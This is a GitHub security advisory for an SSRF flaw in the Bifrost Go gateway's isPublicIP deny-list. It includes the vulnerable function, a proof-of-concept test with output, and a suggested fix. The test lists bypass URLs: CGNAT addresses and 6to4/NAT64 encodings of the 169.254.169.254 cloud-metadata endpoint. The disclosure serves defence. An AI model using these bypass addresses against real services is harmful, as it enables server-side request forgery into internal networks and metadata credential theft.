Skip to content

Bifrost's SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL

High severity GitHub Reviewed Published Jul 21, 2026 in maximhq/bifrost • Updated Aug 28, 2026

Package

gomod github.com/maximhq/bifrost/core (Go)

Affected versions

< 1.5.17

Patched versions

1.5.17

Description

Summary

isPublicIP in core/providers/utils/fetch.go — the SSRF deny-list that gates FetchAndEncodeURL — does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (100.64.0.0/10, RFC 6598), IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48), and deprecated IPv6 site-local (fec0::/10) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach — including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of 169.254.169.254.

The rest of the fetch hardening is correct and is not part of this report: the dial-time LookupIP + pin to ips[0] closes the DNS-rebinding TOCTOU, CheckRedirect re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in isPublicIP.

Affected component

  • File: core/providers/utils/fetch.go, function isPublicIP (lines 107-118), reached only through FetchAndEncodeURL (line 28).
  • Go module: github.com/maximhq/bifrost/core
  • Version: confirmed on the current dev HEAD f415c144678bd4b411d74a1c1f85f18652833224 (core/version = 1.5.15).

Vulnerable code

func isPublicIP(ip net.IP) bool {
	addr, ok := netip.AddrFromSlice(ip)
	if !ok {
		return false
	}
	addr = addr.Unmap()
	if addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||
		addr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {
		return false
	}
	return true
}

addr.IsPrivate() covers only RFC 1918 + RFC 4193 (fc00::/7); it does not cover CGNAT 100.64.0.0/10. addr.Unmap() only collapses the ::ffff:0:0/96 IPv4-mapped form, so 6to4 (2002::/16) and NAT64 (64:ff9b::/96, 64:ff9b:1::/48) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. fec0::/10 (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.

Attack surface / who can trigger it

FetchAndEncodeURL is invoked from the multimodal request-handling path of two providers:

  • core/providers/bedrock/utils.go:1073 (document block.File.FileURL), :1187 (image URL via convertImageToBedrockSource)
  • core/providers/vertex/vertex.go:402 (document block.File.FileURL)

These URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). SanitizeImageURL (core/schemas/utils.go:180) only checks the scheme and a non-empty host — it performs no address filtering — so isPublicIP is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.

Impact

Server-side request forgery from the gateway into internal address space that the deny-list intends to block:

  • CGNAT 100.64.0.0/10 — reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions.
  • 6to4 2002:a9fe:a9fe:: and NAT64 64:ff9b::a9fe:a9fe — both embed 169.254.169.254, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct 169.254.169.254 and ::ffff:169.254.169.254 forms are correctly blocked.
  • fec0::/10 — deprecated site-local, still routed on some networks.

CWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.

Proof of concept

A test placed in-package (core/providers/utils/) drives the real FetchAndEncodeURL — real http.Client, real Transport.DialContext, real isPublicIP — and classifies each target by whether isPublicIP let it past the gate. A blocked fetch to non-public address error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).

package utils

import (
	"context"
	"fmt"
	"strings"
	"testing"
	"time"
)

func TestSSRFGateDecision(t *testing.T) {
	cases := []struct{ name, url string }{
		{"CGNAT-100.64", "http://100.64.1.1:9/"},
		{"CGNAT-100.127", "http://100.127.255.254:9/"},
		{"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"},
		{"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"},
		{"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"},
		{"sitelocal-fec0", "http://[fec0::1]:9/"},
		// controls (must be rejected at the gate):
		{"CONTROL-direct-IMDS", "http://169.254.169.254:9/"},
		{"CONTROL-RFC1918", "http://10.0.0.1:9/"},
		{"CONTROL-loopback", "http://127.0.0.1:9/"},
		{"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"},
	}
	for _, c := range cases {
		ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
		_, _, err := FetchAndEncodeURL(ctx, c.url)
		cancel()
		gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address")
		fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err)
	}
}

Verbatim output (go test ./providers/utils/ -run TestSSRFGateDecision -v against HEAD f415c14, Go 1.26.1):

=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===
target                 gateBlock  verbatim error / outcome
----------------------------------------------------------------------------------------------------
CGNAT-100.64           false      failed to fetch from "http://100.64.1.1:9/": Get "http://100.64.1.1:9/": context deadline exceeded
CGNAT-100.127          false      failed to fetch from "http://100.127.255.254:9/": Get "http://100.127.255.254:9/": context deadline exceeded
6to4-IMDS              false      failed to fetch from "http://[2002:a9fe:a9fe::]:9/": Get "http://[2002:a9fe:a9fe::]:9/": EOF
NAT64-IMDS             false      failed to fetch from "http://[64:ff9b::a9fe:a9fe]:9/": Get "http://[64:ff9b::a9fe:a9fe]:9/": context deadline exceeded
NAT64-local-IMDS       false      failed to fetch from "http://[64:ff9b:1::a9fe:a9fe]:9/": Get "http://[64:ff9b:1::a9fe:a9fe]:9/": context deadline exceeded
sitelocal-fec0         false      failed to fetch from "http://[fec0::1]:9/": Get "http://[fec0::1]:9/": EOF
CONTROL-direct-IMDS    true       failed to fetch from "http://169.254.169.254:9/": Get "http://169.254.169.254:9/": blocked fetch to non-public address 169.254.169.254
CONTROL-RFC1918        true       failed to fetch from "http://10.0.0.1:9/": Get "http://10.0.0.1:9/": blocked fetch to non-public address 10.0.0.1
CONTROL-loopback       true       failed to fetch from "http://127.0.0.1:9/": Get "http://127.0.0.1:9/": blocked fetch to non-public address 127.0.0.1
CONTROL-mapped-IMDS    true       failed to fetch from "http://[::ffff:169.254.169.254]:9/": Get "http://[::ffff:169.254.169.254]:9/": blocked fetch to non-public address 169.254.169.254

Reading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected at the gate with blocked fetch to non-public address and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes isPublicIP and proceeds to the network dial — observed as context deadline exceeded or EOF (a real connection attempt), never blocked fetch to non-public address. The blocked vs dial-attempted split isolates the isPublicIP classification defect precisely.

A standalone re-check of the verbatim isPublicIP body confirms the classification directly (Go 1.26.1):

100.64.0.1             isPublicIP=true   (CGNAT — should be blocked)
100.127.255.254        isPublicIP=true   (CGNAT)
2002:a9fe:a9fe::       isPublicIP=true   (6to4 -> 169.254.169.254)
64:ff9b::a9fe:a9fe     isPublicIP=true   (NAT64 -> 169.254.169.254)
64:ff9b:1::a9fe:a9fe   isPublicIP=true   (NAT64 local-use -> 169.254.169.254)
fec0::1                isPublicIP=true   (deprecated site-local)
169.254.169.254        isPublicIP=false  (direct IMDS — correctly blocked, control)
::ffff:169.254.169.254 isPublicIP=false  (IPv4-mapped — correctly blocked, control)
8.8.8.8                isPublicIP=true   (public — correctly allowed, control)

Honest scope note

The test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here — the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use 100.64.0.0/10. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: isPublicIP permits the forbidden ranges on every host.

References (canonical dimension precedents)

Suggested fix

In isPublicIP, after Unmap():

  1. Reject CGNAT: 100.64.0.0/10 for IPv4 (and the ::ffff:100.64.0.0/106 mapped form is already handled by Unmap).
  2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (2002::/16 -> bytes 2-5), NAT64 well-known (64:ff9b::/96) and local-use (64:ff9b:1::/48) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4.
  3. Reject deprecated site-local fec0::/10.

References

@akshaydeo akshaydeo published to maximhq/bifrost Jul 21, 2026
Published to the GitHub Advisory Database Aug 28, 2026
Reviewed Aug 28, 2026
Last updated Aug 28, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(37th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-55245

GHSA ID

GHSA-w98g-5w9p-p3rc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.